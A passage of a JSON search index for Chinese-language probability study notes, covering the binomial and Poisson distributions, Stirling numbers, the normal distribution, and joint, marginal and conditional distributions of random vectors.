distribution)\u662fn\u91cd\u4f2f\u52aa\u5229\u8bd5\u9a8c\u6210\u529f\u6b21\u6570\u7684\u79bb\u6563\u6982\u7387\u5206\u5e03\uff0c\u8bb0\u4f5c\\(B(n,p)\\)\u3002</p> \\[ P(X = k) = \\binom{n}{k} p^k (1-p)^{n-k} \\] <p>\u5176\u4e2d\uff0c\\( \\binom{n}{k} \\) \u662f\u7ec4\u5408\u6570\uff0c\u8868\u793a\u4ece \\( n \\) \u6b21\u8bd5\u9a8c\u4e2d\u9009\u62e9 \\( k \\) \u6b21\u6210\u529f\u7684\u65b9\u5f0f\u603b\u6570\u3002\u4e8c\u9879\u5206\u5e03\u9002\u7528\u4e8e\u63cf\u8ff0\u5728 \\( n \\) \u6b21\u72ec\u7acb\u7684\u4f2f\u52aa\u5229\u8bd5\u9a8c\u4e2d\uff0c\u6210\u529f\u53d1\u751f\u7684\u6b21\u6570\u3002</p> <p>Example</p> <p>\u4e00\u679a\u786c\u5e01\u629b 10 \u6b21\uff0c\u6c42\u6070\u597d 3 \u6b21\u6b63\u9762\u671d\u4e0a\u7684\u6982\u7387\u3002</p> <p>\u8fd9\u662f\u4e00\u4e2a\u4e8c\u9879\u5206\u5e03\u95ee\u9898\uff0c\u5176\u4e2d \\( n = 10 \\)\uff0c\\( k = 3 \\)\uff0c\\( p = 0.5 \\)\u3002\u4ee3\u5165\u516c\u5f0f\uff0c\u6709\uff1a</p> \\[ P(B_3) = \\binom{10}{3} \\times 0.5^3 \\times 0.5^{10-3} = 0.1172. \\] <p>\u6240\u4ee5\u6070\u597d 3 \u6b21\u6b63\u9762\u671d\u4e0a\u7684\u6982\u7387\u662f 0.1172\u3002</p>"},{"location":"NOTE/Probability/first/#_20","title":"\u4e58\u79ef\u6982\u7387\u7a7a\u95f4","text":"<p>\u4e58\u79ef\u6982\u7387\u7a7a\u95f4</p> <p>\u8bbe\u6709\u4e24\u4e2a\u6982\u7387\u7a7a\u95f4 \\((\\Omega_1, \\mathcal{F}_1, P_1)\\) \u548c \\((\\Omega_2, \\mathcal{F}_2, P_2)\\),\u5bf9\u5e94\u8bd5\u9a8c\u4e3a \\(E_1\\) \u548c \\(E_2\\),\u72ec\u7acb\u5730\u505a\u4e24\u4e2a\u8bd5\u9a8c\uff0c\u8bb0\u5f55\u5176\u7ed3\u679c\u4e3a \\((\\omega_1, \\omega_2)\\),\u5219\u79f0 \\((\\Omega_1 \\times \\Omega_2, \\mathcal{F}_1 \\times \\mathcal{F}_2, P_1 \\times P_2)\\) \u4e3a \\((\\Omega_1, \\mathcal{F}_1, P_1)\\) \u548c \\((\\Omega_2, \\mathcal{F}_2, P_2)\\) \u7684 \u4e58\u79ef\u6982\u7387\u7a7a\u95f4\u3002</p> <p>\u5176\u4e2d\u4e8b\u4ef6\u4e8b\u4ef6 \\(A\\)</p> \\[     A=\\{(\\omega_1, \\omega_2) \\mid \\omega_1 \\in A_1, \\omega_2 \\in A_2\\} \\] <p>\u5176\u6982\u7387</p> \\[     P(A)=P(A_1)P(A_2) \\] <p>Note</p> <p>\u4e24\u4e2a\u8bd5\u9a8c\u7684\u4e58\u79ef\u6982\u7387\u7a7a\u95f4\u53ef\u4ee5\u5728\u4e8c\u7ef4\u5e73\u9762\u4e0a\u8868\u793a</p> Simpson \u6096\u8bba \\[     ad&gt;bc;eh&gt;fg;\\\\     (a+e)(d+h)&lt;(b+f)(c+g) \\] <p>\u7ea6\u675f\u6761\u4ef6\u4e3a</p> \\[     a+b+c+d+e+f+g+h=1\\\\     a,b,c,d,e,f,g,h&gt;0 \\]"},{"location":"NOTE/Probability/others/","title":"\u6982\u7387\u76f8\u5173\u7684\u77e5\u8bc6","text":"<p> \u7ea6 443 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 2 \u5206\u949f</p> <p>\u8bb0\u5f55\u4e00\u4e9b\u5b66\u4e60\u8fc7\u7a0b\u4e2d\u53d1\u73b0\u7684\u6709\u8da3\u7684\u6982\u7387\u95ee\u9898</p> <p>Danger</p> <p>\u76f8\u4e92\u72ec\u7acb\uff0c\u4ea4\u4e8b\u4ef6\u53ef\u4ee5\u62c6\u5f00\u53d8\u6210\u6982\u7387\u76f8\u4e58\uff1b \u4e14\u82e5AB\u72ec\u7acb\uff0c\u5219A\u4e0eB\u7684\u8865\u4e8b\u4ef6\u4e5f\u72ec\u7acb</p> \\[     P(A \\cap B) = P(A) \\cdot P(B) \\] <p>\u4e92\u4e0d\u76f8\u4ea4(\u4e92\u65a5)\uff0c\u5e76\u4e8b\u4ef6\u53ef\u4ee5\u62c6\u5f00\u53d8\u6210\u6982\u7387\u76f8\u52a0\u3002</p> \\[     P(A \\cup B) = P(A) + P(B) \\] <p>n \u4e2a\u7403\u653e\u5165m\u4e2a\u4e0d\u540c\u7684\u76d2\u5b50</p> \u7403 \u76d2 \u5141\u8bb8\u7a7a \u65b9\u6848\u6570 \u4e0d\u540c \u4e0d\u540c \u662f \\( m^n \\) \u4e0d\u540c \u4e0d\u540c \u5426 \\( m! \\cdot S(n, m) \\) \u4e0d\u540c \u76f8\u540c \u662f \\(\\sum_{k=0}^{m} S(n, k)\\) \u4e0d\u540c \u76f8\u540c \u5426 \\( S(n, m) \\) \u76f8\u540c \u4e0d\u540c \u662f \\( \\binom{n+m-1}{m-1} \\) \u76f8\u540c \u4e0d\u540c \u5426 \\( \\binom{n-1}{m-1} \\) \u76f8\u540c \u76f8\u540c \u662f \\( dp(n, m) \\) \u76f8\u540c \u76f8\u540c \u5426 \\( dp(n-m, m) \\) <p>\u5176\u4e2d \\(S(n,m)\\) \u4e3a\u7b2c\u4e8c\u7c7b Stirling \u6570\uff08Stirling numbers of the second kind\uff09\u662f\u7ec4\u5408\u6570\u5b66\u4e2d\u7684\u4e00\u4e2a\u91cd\u8981\u6982\u5ff5\uff0c\u7528\u6765\u63cf\u8ff0\u5982\u4f55\u5c06 \\(n\\) \u4e2a\u4e0d\u540c\u7684\u5143\u7d20\u5212\u5206\u4e3a \\(m\\) \u4e2a\u975e\u7a7a\u7684\u65e0\u5e8f\u5b50\u96c6\u3002\u66f4\u5177\u4f53\u5730\u8bf4\uff0c\\( S(n, m) \\) \u8868\u793a\u7684\u662f\u6709\u591a\u5c11\u79cd\u65b9\u6cd5\u53ef\u4ee5\u628a\u4e00\u4e2a\u5305\u542b \\(n\\) \u4e2a\u5143\u7d20\u7684\u96c6\u5408\u5212\u5206\u6210 \\(m\\) \u4e2a\u975e\u7a7a\u5b50\u96c6\u3002</p> <p>\u8ba1\u7b97\u516c\u5f0f</p> <p>\u7b2c\u4e8c\u7c7b\u65af\u7279\u6797\u6570 \\( S(n, m) \\) \u7684\u9012\u63a8\u516c\u5f0f\u5982\u4e0b\uff1a</p> \\[ S(n, m) = m \\cdot S(n-1, m) + S(n-1, m-1) \\] <p>\u5176\u4e2d\uff0c\u8fb9\u754c\u6761\u4ef6\u662f\uff1a</p> <ul> <li>\\( S(0, 0) = 1 \\)</li> <li> <p>\u5bf9\u4e8e \\( n &gt; 0 \\)\uff0c \\( S(n, 0) = 0 \\) \u4e14 \\( S(n, n) = 1 \\)</p> </li> <li> <p>\\( m \\cdot S(n-1, m) \\)\uff1a\u5c06\u7b2c \\(n\\) \u4e2a\u5143\u7d20\u653e\u5165\u73b0\u6709\u7684 \\(m\\) \u4e2a\u5b50\u96c6\u4e2d\u7684\u67d0\u4e00\u4e2a\u3002\u5171\u6709\\(m \\cdot S(n-1, m)\\)\u79cd \u3002</p> </li> <li>\\( S(n-1, m-1) \\)\uff1a\u5c06\u7b2c \\(n\\) \u4e2a\u5143\u7d20\u4f5c\u4e3a\u4e00\u4e2a\u65b0\u7684\u5b50\u96c6\u3002</li> </ul> <p>Eg</p> <p>\u4f8b\u5982\uff0c\\( S(3, 2) = 3 \\)\uff0c\u8868\u793a\u6709 3 \u79cd\u65b9\u6cd5\u53ef\u4ee5\u5c06 3 \u4e2a\u5143\u7d20\u5206\u6210 2 \u4e2a\u975e\u7a7a\u5b50\u96c6\uff0c\u5206\u522b\u662f\uff1a</p> <ul> <li>{1, 2}, {3}</li> <li>{1, 3}, {2}</li> <li>{2, 3}, {1}</li> </ul>"},{"location":"NOTE/Probability/others/#stirling","title":"Stirling \u516c\u5f0f","text":"\\[     n! \\approx \\sqrt{2\\pi n} \\left( \\frac{n}{e} \\right)^n \\]"},{"location":"NOTE/Probability/second/","title":"\u968f\u673a\u53d8\u91cf\u4e0e\u968f\u673a\u5411\u91cf","text":"<p> \u7ea6 2495 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 9 \u5206\u949f</p>"},{"location":"NOTE/Probability/second/#_2","title":"\u968f\u673a\u53d8\u91cf","text":""},{"location":"NOTE/Probability/second/#_3","title":"\u968f\u673a\u53d8\u91cf\u7684\u6982\u5ff5","text":"<p>\u968f\u673a\u53d8\u91cf</p> <p>\u5b9a\u4e49\u6982\u7387\u7a7a\u95f4 \\((\\Omega, \\mathcal{F}, P)\\) \u4e0a\u7684\u5355\u503c\u5b9e\u51fd\u6570 \\(\\xi(\\omega)\\)\uff0c\u5373</p> \\[ \\xi: \\Omega\\to \\mathbb R \\] <p>\u8fd8\u8981\u6c42 \\(\\xi(\\omega)\\) \u7684\u4efb\u610f\u53d6\u503c\u7ec4\u5408\u5bf9\u5e94\u7684\u6837\u672c\u70b9\u96c6\u5408\u6784\u6210\u7684\u4e8b\u4ef6\u5728\u4e8b\u4ef6\u57df \\(\\mathcal{F}\\) \u4e2d\uff0c\u8fd9\u6837\u5c31\u53ef\u4ee5\u79f0 \\(\\xi(\\omega)\\) \u4e3a \u968f\u673a\u53d8\u91cf (random variable)</p> <p>\u5373\u5c06\\(\\xi\\)\u770b\u6210\u4e00\u4e2a\u51fd\u6570\uff0c\u6211\u4eec\u5e0c\u671b\u5b83\u7684\u503c\u57df\u96c6\u5408\\(A(\\in R)\\)\u4e5f\u6ee1\u8db3\u4e8b\u4ef6\u7684\u8fd0\u7b97\uff0c\u6240\u4ee5\u8981\u6c42\u5b83\u662f\u535a\u96f7\u5c14\u96c6,\u843d\u5728\u535a\u96f7\u5c14\u57df\\(\\mathcal{B}\\)\u4e2d\uff0c\u5373\u4ece\u4e8b\u4ef6\u57df\\(\\mathcal{F}\\)\u5230\u4e8b\u4ef6\u57df\u7684\u6620\u5c04\uff0c\u7531\u4e8e\u539f\\(\\Omega\\)\u4e2d\u7684\u6837\u672c\u70b9\u6620\u5c04\u5230\u4e86\\(\\mathbb R\\)\u4e2d\uff0c\u6240\u4ee5\u6620\u5c04\u4e4b\u540e\u7684\u4e8b\u4ef6\u57df\u79f0\u4e3a\u6ce2\u5217\u5c14\u57df\\(\\mathcal{B}\\)</p>"},{"location":"NOTE/Probability/second/#_4","title":"\u79bb\u6563\u578b\u968f\u673a\u53d8\u91cf","text":"<p>\u79bb\u6563\u578b\u968f\u673a\u53d8\u91cf\uff1a\u968f\u673a\u53d8\u91cf \\(\\xi\\) \u53ef\u53d6\u7684\u503c\u81f3\u591a\u53ef\u5217\u4e2a\u3002</p> <p>\u5206\u5e03\u5217 (distribution sequence)</p> \\[ \\left[ \\begin{matrix} x_1&amp;x_2&amp;\\cdots&amp;x_n&amp;\\cdots\\\\ p(x_1)&amp;p(x_2)&amp;\\cdots&amp;p(x_n)&amp;\\cdots \\end{matrix} \\right] \\] <p>\u7b2c\u4e00\u884c\u662f \\(\\xi\\) \u53ef\u80fd\u53d6\u7684\u503c\uff0c\u7b2c\u4e8c\u884c\u662f \\(\\xi\\) \u53d6\u8fd9\u4e9b\u503c\u7684\u6982\u7387\u3002</p> <p>\u5206\u5e03\u5217\u7684\u6027\u8d28</p> <ul> <li>\u6b63\u6027\uff0c\u5373</li> </ul> \\[ p(x_i)&gt;0,i=1,2\\cdots \\] <ul> <li>\u89c4\u8303\u6027\uff0c\u5373</li> </ul> \\[ \\sum_{i=1}^\\infty p(x_i)=1 \\] <p>Examples</p> <p>\u5bf9\u4e00\u4e9b\u5e38\u89c1\u79bb\u6563\u578b\u968f\u673a\u53d8\u91cf\u4e3e\u4f8b\u5982\u4e0b\uff1a</p> \u9000\u5316\u5206\u5e03\u4e24\u70b9\u5206\u5e03\u4e8c\u9879\u5206\u5e03\u6cca\u677e\u5206\u5e03\u51e0\u4f55\u5206\u5e03\u8d85\u51e0\u4f55\u5206\u5e03 <p>\u5373 degenerate distribution</p> \\[ \\left[ \\begin{matrix} c\\\\ 1 \\end{matrix} \\right] \\] <p>\u5373\u6837\u672c\u7a7a\u95f4\u7684\u6240\u6709\u70b9\u90fd\u6620\u5c04\u5230\u4e00\u4e2a\u786e\u5b9a\u7684\u5b9e\u6570\u4e0a\uff0c\u6982\u7387\u4e3a1</p> <p>\u5373 \u4f2f\u52aa\u5229\u5206\u5e03 \uff0cBernoulli distribution</p> \\[ \\left[ \\begin{matrix} 1&amp;0\\\\ p&amp;1-p \\end{matrix} \\right],p\\in (0,1) \\] <p>\u5373 binomial distribution</p> \\[ P(\\xi=k)=\\begin{pmatrix}     n\\\\k \\end{pmatrix} p^k(1-p)^{n-k},p\\in (0,1),k=0,1,\\cdots,n \\] <p>\u8bb0\u4e3a \\(\\xi\\sim B(n,p)\\)</p> <p>\u5373 Poisson distribution</p> \\[ P(\\xi=k)=\\frac{\\lambda^k}{k!}e^{-\\lambda} ,\\lambda&gt;0,k\\in \\mathbb N \\] <p>\u8bb0\u4e3a \\(\\xi\\sim\\mathcal{P}(\\lambda)\\)</p> <p>\u5bf9\u4e8e\u4e8c\u9879\u5206\u5e03\uff0c\u5f53 \\(n\\to\\infty,np=\\lambda\\) \u65f6\uff0c\u4e8c\u9879\u5206\u5e03\u8d8b\u8fd1\u4e8e\u6cca\u677e\u5206\u5e03\u3002</p> \\[\\begin{align*} \\lim_{n\\to\\infty}\\begin{pmatrix}     n\\\\k \\end{pmatrix}p^k(1-p)^{n-k}&amp;=\\frac{1}{k!}n(n-1)\\cdots(n-k+1)\\frac{1}{n^k}(np)^k(1-\\frac{np}{n})^{n-k}\\\\ &amp;=\\frac{\\lambda^k}{k!}(1-\\frac{1}{n})\\cdots(1-\\frac{k-1}{n})e^{-\\lambda}\\\\ &amp;=\\frac{\\lambda^k}{k!}e^{-\\lambda}\\\\ \\end{align*}\\] <p>Note</p> <p>\u5176\u4e2d \\(\\lambda=np\\) \u662f\u6cca\u677e\u5206\u5e03\u7684\u53c2\u6570\uff0c\u4e5f\u662f\u5b83\u7684\u6570\u5b66\u671f\u671b\uff1b \u56e0\u4e3a</p> \\[\\begin{align*}     E_{\\xi\\sim P(\\lambda)}(\\xi)&amp;=\\sum_{k=0}^\\infty k\\frac{\\lambda^k}{k!}e^{-\\lambda}\\\\     &amp;=\\lambda\\sum_{k=1}^\\infty\\frac{\\lambda^{k-1}}{(k-1)!}e^{-\\lambda}\\\\     &amp;=\\lambda e^{\\lambda}e^{-\\lambda}\\\\     &amp;=\\lambda \\end{align*}\\] <p>\u5373 geometry distribution,\u4e00\u822c\u7528\u4e8e\u89e3\u51b3\u7b2c\u4e00\u6b21\u6210\u529f\u7684\u95ee\u9898</p> \\[ P(\\xi=k)=p(1-p)^{k-1},p\\in (0,1),k\\in \\mathbb{N}_+ \\] <p>\u5373 hypergeometry distribution\uff0c\u4e00\u822c\u7528\u4e8e\u89e3\u51b3\u6b21\u54c1\u62bd\u6837\u95ee\u9898 </p> \\[ P(\\xi=k)=\\frac{\\displaystyle \\begin{pmatrix}     M\\\\k \\end{pmatrix} \\begin{pmatrix}     N-M\\\\n-k \\end{pmatrix}     }{\\displaystyle \\begin{pmatrix}     N\\\\n \\end{pmatrix}} ,n\\leqslant N,M\\leqslant N,k=0,1,\\cdots, \\min\\{n,M\\} \\]"},{"location":"NOTE/Probability/second/#_5","title":"\u5206\u5e03\u51fd\u6570\u4e0e\u8fde\u7eed\u578b\u968f\u673a\u53d8\u91cf","text":"<p>\u79bb\u6563\u578b\u968f\u673a\u53d8\u91cf\u662f\u7528\u5206\u5e03\u5217\u6765\u63cf\u8ff0\u7684\uff0c\u800c\u5bf9\u4e8e\u67d0\u4e9b\u60c5\u51b5\uff0c\u4f8b\u5982\u968f\u673a\u53d8\u91cf\u53ef\u4ee5\u5728\u67d0\u4e00\u4e2a\u533a\u95f4\u5185\u53d6\u4efb\u610f\u503c\uff0c\u8fd9\u4e2a\u65f6\u5019\u5c31\u4e0d\u5b58\u5728\u5206\u5e03\u5217\uff0c\u9700\u8981\u5f15\u5165\u65b0\u7684\u63cf\u8ff0\u65b9\u6cd5\u6765\u63cf\u8ff0\u6982\u7387\u5206\u5e03\uff0c\u5e76\u4e14\u6211\u4eec\u5e0c\u671b\u8fd9\u4e2a\u63cf\u8ff0\u65b9\u6cd5\u80fd\u591f\u5bf9\u4e00\u5207\u7684\u968f\u673a\u53d8\u91cf\u90fd\u9002\u7528\u3002</p> <p>\u5206\u5e03\u51fd\u6570</p> <p>\u8bbe \\(\\xi\\) \u662f\u4e00\u4e2a\u968f\u673a\u53d8\u91cf\uff0c\u5bf9\u4efb\u610f\u5b9e\u6570 \\(x\\)\uff0c\u5b9a\u4e49\u51fd\u6570 \\(F(x)\\) \u4e3a</p> \\[ F(x)=P(\\xi \\leqslant x) \\] <p>\u8fd9\u4e2a\u51fd\u6570\u79f0\u4e3a \\(\\xi\\) \u7684 \u5206\u5e03\u51fd\u6570 (distribution function) \u5bf9\u4e8e\u7ed9\u5b9a\u7684\u968f\u673a\u53d8\u91cf \\(\\xi\\)\uff0c\u5176\u5206\u5e03\u51fd\u6570\u662f\u552f\u4e00\u7684\uff0c\u5b83\u662f\u5b9e\u53d8\u91cf \\(x\\) \u7684\u51fd\u6570\uff0c\u4e14\u6ee1\u8db3\uff1a</p> <p>\u6027\u8d28</p> <ul> <li>\u6709\u754c\u6027\uff1a\u4f5c\u4e3a\u4e8b\u4ef6\u7684\u6982\u7387\u81ea\u7136\u6709 \\(0\\leqslant F(x)\\leqslant 1\\)</li> <li> <p>\u5355\u8c03\u4e0d\u51cf\u6027\uff1a\\(x_1&lt;x_2\\Rightarrow F(x_1)\\leqslant F(x_2)\\)</p> </li> <li> <p>\u4f5c\u4e3a\u4e00\u4e2a\u6709\u754c\u7684\u5355\u8c03\u4e0d\u51cf\u51fd\u6570 \\(F(-\\infty)=0\\), \\(F(+\\infty)=1\\)</p> </li> <li>\u53f3\u8fde\u7eed\u6027\uff1a\\(\\lim_{x\\to x_0+0}F(x)=F(x_0)\\)\uff0c\u5de6\u6781\u9650\u5b58\u5728\\(\\lim_{x\\to x_0-0}F(x)=F(x_0)\\)</li> <li>\u5728\u6709\u4e9b\u6559\u6750\u4e2d  </li> </ul> \\[F(x)=P(\\xi &lt; x)\\] <p>\u6b64\u65f6 \\(F(x)\\)\u8981\u6c42\u5de6\u8fde\u7eed,\u53f3\u6781\u9650\u5b58\u5728</p> Note <ul> <li>\u5bf9\u4e8e\u79bb\u6563\u578b\u968f\u673a\u53d8\u91cf\uff0c\u5176\u5206\u5e03\u51fd\u6570\u662f\u9636\u68af\u51fd\u6570</li> <li>\u5bf9\u4e8e\u8fde\u7eed\u578b\u968f\u673a\u53d8\u91cf\uff0c\u5176\u5206\u5e03\u51fd\u6570\u662f\u8fde\u7eed\u51fd\u6570\uff0c\u91c7\u7528\u5bc6\u5ea6\u51fd\u6570\u79ef\u5206\u6765\u8ba1\u7b97</li> <li>\u53ea\u8981\u51fd\u6570\u503c\u5927\u4e8e0\uff0c\u4e14\u6574\u4e2a\u5b9a\u4e49\u57df\u79ef\u5206\u4e3a1\uff0c\u5c31\u53ef\u4ee5\u53eb\u505a\u5bc6\u5ea6\u51fd\u6570</li> </ul>"},{"location":"NOTE/Probability/second/#_6","title":"\u6b63\u6001\u5206\u5e03","text":"<p>Definition</p> <p>\u82e5\u968f\u673a\u53d8\u91cf \\(\\xi\\) \u7684\u5206\u5e03\u51fd\u6570\u4e3a</p> \\[ F(x)=\\frac{1}{\\sqrt{2\\pi}\\sigma}\\int_{-\\infty}^x e^{-\\frac{(t-\\mu)^2}{2\\sigma^2}}dt \\] <p>\u5176\u4e2d \\(\\mu\\) \u548c \\(\\sigma\\) \u662f\u5e38\u6570\uff0c\u4e14 \\(\\sigma&gt;0\\)\uff0c\u5219\u79f0 \\(\\xi\\) \u670d\u4ece\u53c2\u6570\u4e3a \\(\\mu\\) \u548c \\(\\sigma\\) \u7684 \u6b63\u6001\u5206\u5e03 (normal distribution)\uff0c\u8bb0\u4e3a \\(\\xi\\sim N(\\mu,\\sigma^2)\\)</p> <p>\u6b63\u6001\u5206\u5e03\u7684\u5bc6\u5ea6\u51fd\u6570\u4e3a</p> \\[ f(x)=\\frac{1}{\\sqrt{2\\pi}\\sigma}e^{-\\frac{(x-\\mu)^2}{2\\sigma^2}} \\] <p>\u6b63\u6001\u5206\u5e03\u662f\u6700\u91cd\u8981\u7684\u5206\u5e03\u4e4b\u4e00\uff0c\u5b83\u7684\u5bc6\u5ea6\u51fd\u6570\u662f\u4e00\u4e2a\u949f\u5f62\u66f2\u7ebf\uff0c\u4e14\u5177\u6709\u4ee5\u4e0b\u6027\u8d28\uff1a</p> <p>Property</p> <ul> <li>\u671f\u671b\u503c\uff1a\\(E(\\xi)=\\mu\\)</li> <li>\u65b9\u5dee\uff1a\\(D(\\xi)=\\sigma^2\\)</li> <li>\u6b63\u6001\u5206\u5e03\u7684\u5bc6\u5ea6\u51fd\u6570\u662f\u5173\u4e8e \\(\\mu\\) \u5bf9\u79f0\u7684\uff0c\u5373 \\(f(x)=f(2\\mu-x)\\)</li> </ul> <p>\u6807\u51c6\u6b63\u6001\u5206\u5e03</p> <p>\u82e5 \\(\\xi\\sim N(0,1)\\)\uff0c\u5219\u79f0 \\(\\xi\\) \u670d\u4ece \u6807\u51c6\u6b63\u6001\u5206\u5e03 (standard normal distribution)\uff0c\u8bb0\u4e3a \\(\\xi\\sim N(0,1)\\)</p> <p>\u6b64\u65f6 \\(\\mu=0\\)\uff0c\\(\\sigma=1\\)\uff0c\u5176\u5bc6\u5ea6\u51fd\u6570\u4e3a</p> \\[ f(x)=\\frac{1}{\\sqrt{2\\pi}}e^{-\\frac{x^2}{2}} \\] <p>\u5982\u679c\\(x\\)\u4e0d\u662f\u6807\u51c6\u6b63\u6001\u5206\u5e03\uff0c\u5219\u53ef\u4ee5\u901a\u8fc7</p> \\[     \\eta = \\dfrac{x - \\mu}{ \\sigma}  \\] <p>\u5c06\u5176\u53d8\u4e3a \\(\\eta\\) ,\u6807\u51c6\u5206\u5e03</p> <p>\u867d\u7136\u6807\u51c6\u6b63\u6001\u5206\u5e03\u7684\u663e\u5f0f\u5206\u5e03\u51fd\u6570\u6c42\u4e0d\u51fa\u6765\uff0c\u4f46\u662f\u53ef\u4ee5\u901a\u8fc7\u67e5\u8868\u5f97\u5230\u5176\u503c</p> <p>3 \\(\\sigma\\) \u539f\u5219</p> \\[ 0.6827 \\quad 0.9545 \\quad 0.9973 \\]"},{"location":"NOTE/Probability/second/#_7","title":"\u79bb\u6563\u578b\u968f\u673a\u5411\u91cf","text":"<p>\u7ed9\u5b9a\u6982\u7387\u7a7a\u95f4 \\((\\Omega, A, P)\\)\uff0c\\((X, Y)\\) \u662f 2-\u968f\u673a\u5411\u91cf\u3002</p> <p>\u5047\u8bbe \\(X\\) \u53d6\u503c\u4e3a \\(x_1, x_2, \\dots\\)\uff0c\\(Y\\) \u53d6\u503c\u4e3a \\(y_1, y_2, \\dots\\)\u3002\u90a3\u4e48\u79f0 \\((X, Y)\\) \u4e3a\u79bb\u6563\u578b\u968f\u673a\u5411\u91cf\u3002</p> <p>\u8bb0</p> \\[ p_{ij} = P(X = x_i, Y = y_j), \\quad i, j = 1, 2, \\dots \\] <p>\u6ee1\u8db3</p> \\[ p_{ij} \\geq 0, \\quad \\sum_{i,j} p_{ij} = 1 \\] <p>\u79f0</p> \\[ \\left( (x_i, y_j), p_{ij} \\right)_{i,j=1}^{\\infty} \\] <p>\u4e3a\u968f\u673a\u5411\u91cf \\((X, Y)\\) \u7684\u8054\u5408\u5206\u5e03\u3002</p> <p>\u5bf9\u4e8e\u4efb\u610f Borel \u96c6\u5408 \\( A, B \\),</p> \\[ P(X \\in A, Y \\in B) = \\sum_{i: x_i \\in A, j: y_j \\in B} p_{ij} \\] <p>\u7279\u522b\u5730\uff0c</p> \\[ P(X \\leq x, Y \\leq y) = \\sum_{i: x_i \\leq x, j: y_j \\leq y} p_{ij} \\]"},{"location":"NOTE/Probability/second/#_8","title":"\u8fb9\u9645\u5206\u5e03","text":"<p>\\( X, Y \\) \u7684\u5206\u5e03\u53ef\u4ee5\u7531 \\( p_{ij} \\) \u8ba1\u7b97\u5f97\u5230</p> \\[ X \\sim \\begin{pmatrix} x_1 &amp; x_2 &amp; \\dots &amp; x_i &amp; \\dots \\\\ p_1. &amp; p_2. &amp; \\dots &amp; p_i. &amp; \\dots \\end{pmatrix} \\] <p>\u5176\u4e2d</p> \\[ p_{i.} = \\sum_{j=1}^{\\infty} p_{ij}, \\quad p_{i.} \\geq 0, \\quad \\sum_{i=1}^{\\infty} p_{i.} = 1 \\] <p>\u7c7b\u4f3c\u5730\uff0c</p> \\[ Y \\sim \\begin{pmatrix} y_1 &amp; y_2 &amp; \\dots &amp; y_j &amp; \\dots \\\\ p_{.1} &amp; p_{.2} &amp; \\dots &amp; p_{.j} &amp; \\dots \\end{pmatrix} \\] <p>\u5176\u4e2d</p> \\[ p_{.j} = \\sum_{i=1}^{\\infty} p_{ij}, \\quad p_{.j} \\geq 0, \\quad \\sum_{j=1}^{\\infty} p_{.j} = 1 \\] <p>Warning</p> <p>\u8fb9\u9645\u5206\u5e03\u7531\u8054\u5408\u5206\u5e03\u552f\u4e00\u786e\u5b9a\uff0c\u4f46\u662f\u53cd\u8fc7\u6765\u4e0d\u4e00\u5b9a\u6210\u7acb\u3002\u56e0\u4e3a\u52a0\u8d77\u6765\u7b49\u4e8e\u4e00\u4e2a\u503c\u5e76\u4e0d\u80fd\u786e\u5b9a\u5206\u5f00\u7684\u6bcf\u4e00\u4e2a\u503c</p>"},{"location":"NOTE/Probability/second/#_9","title":"\u6761\u4ef6\u6982\u7387\u4e0e\u6761\u4ef6\u5206\u5e03","text":"<p>\u5bf9\u4e8e\u56fa\u5b9a\u7684 \\( x_i, y_j \\)\uff0c\u6211\u4eec\u5f97\u5230</p> \\[ P(Y = y_j | X = x_i) = \\frac{P(X = x_i, Y = y_j)}{P(X = x_i)} = \\frac{p_{ij}}{p_i} \\] <p>\u5982\u679c \\( x_i, y_j \\) \u53d8\u5316\uff0c\u90a3\u4e48\u6211\u4eec\u53ef\u4ee5\u5f97\u5230\u6761\u4ef6\u5206\u5e03\uff1a</p> <p>\u7ed9\u5b9a \\( X = x_i \\) \u7684\u6761\u4ef6\u4e0b\uff0c\\( Y \\) \u53ef\u53d6\u503c \\( y_1, y_2, \\dots, y_j, \\dots \\) \u65f6\uff0c\u6982\u7387\u5206\u522b\u4e3a</p> \\[ P(Y = y_j | X = x_i) = \\frac{p_{ij}}{p_i} \\]"},{"location":"NOTE/Probability/second/#_10","title":"\u6761\u4ef6\u5206\u5e03\u5217","text":"\\[ Y | (X = x_i) \\sim \\begin{pmatrix} y_1 &amp; y_2 &amp; \\dots &amp; y_j &amp; \\dots \\\\ \\frac{p_{i1}}{p_i} &amp; \\frac{p_{i2}}{p_i} &amp; \\dots &amp; \\frac{p_{ij}}{p_i} &amp; \\dots \\end{pmatrix} \\] <p>\u540c\u7406\u4e5f\u53ef\u4ee5\u5f97\u5230 \\(X|Y\\) \u7684\u6761\u4ef6\u5206\u5e03</p> <p>Note</p> <p>\u65b9\u4fbf\u8d77\u89c1\uff0c\u8fd9\u91cc\u628a \\(P_{i.}\\) \u8bb0\u4e3a \\(P_i\\)</p>"},{"location":"NOTE/Probability/second/#_11","title":"\u8fde\u7eed\u6027\u968f\u673a\u5411\u91cf","text":"<p>\u7ed9\u5b9a\u6982\u7387\u7a7a\u95f4 \\((\\Omega, A, P)\\)\uff0c\\((X, Y)\\) \u662f\u5176\u4e0a\u7684\u968f\u673a\u5411\u91cf\u3002\u5982\u679c\u5b58\u5728 \\(p(x, y)\\) \u4f7f\u5f97</p> \\[  p(x, y) \\geq 0, \\quad \\int_{-\\infty}^{\\infty} \\int_{-\\infty}^{\\infty} p(x, y) dx dy = 1  \\] <p>\u5e76\u4e14\u5bf9\u4efb\u610f Borel \u96c6 \\(A, B \\subset \\mathbb{R}\\),</p> \\[  P(X \\in A, Y \\in B) = \\int_A \\int_B p(u, v) du dv  \\] <p>\u90a3\u4e48\u79f0 \\((X, Y)\\) \u662f\u8fde\u7eed\u578b\u968f\u673a\u5411\u91cf\uff0c\u5177\u6709\u5bc6\u5ea6\u51fd\u6570 \\(p(x, y)\\)\u3002</p> <p>\u7279\u522b\uff0c\u5bf9\u4efb\u610f \\(x, y \\in \\mathbb{R}\\)</p> \\[  P(X \\leq x, Y \\leq y) = \\int_{-\\infty}^x \\int_{-\\infty}^y p(u, v) du dv  \\]"},{"location":"NOTE/Probability/second/#_12","title":"\u8fde\u7eed\u578b\u7684\u8fb9\u9645\u5206\u5e03","text":"<p>\u663e\u7136\uff0c\u5982\u679c \\((X, Y)\\) \u662f\u8fde\u7eed\u578b\u968f\u673a\u5411\u91cf\uff0c\u90a3\u4e48 \\(X, Y\\) \u90fd\u662f\u8fde\u7eed\u578b\u968f\u673a\u53d8\u91cf\u3002\u5e76\u4e14\uff0c</p> \\[  X \\sim p_X(x), \\quad Y \\sim p_Y(y)  \\] <p>\u5176\u4e2d</p> \\[  p_X(x) = \\int_{-\\infty}^{\\infty} p(x, y) dy, \\quad p_Y(y) 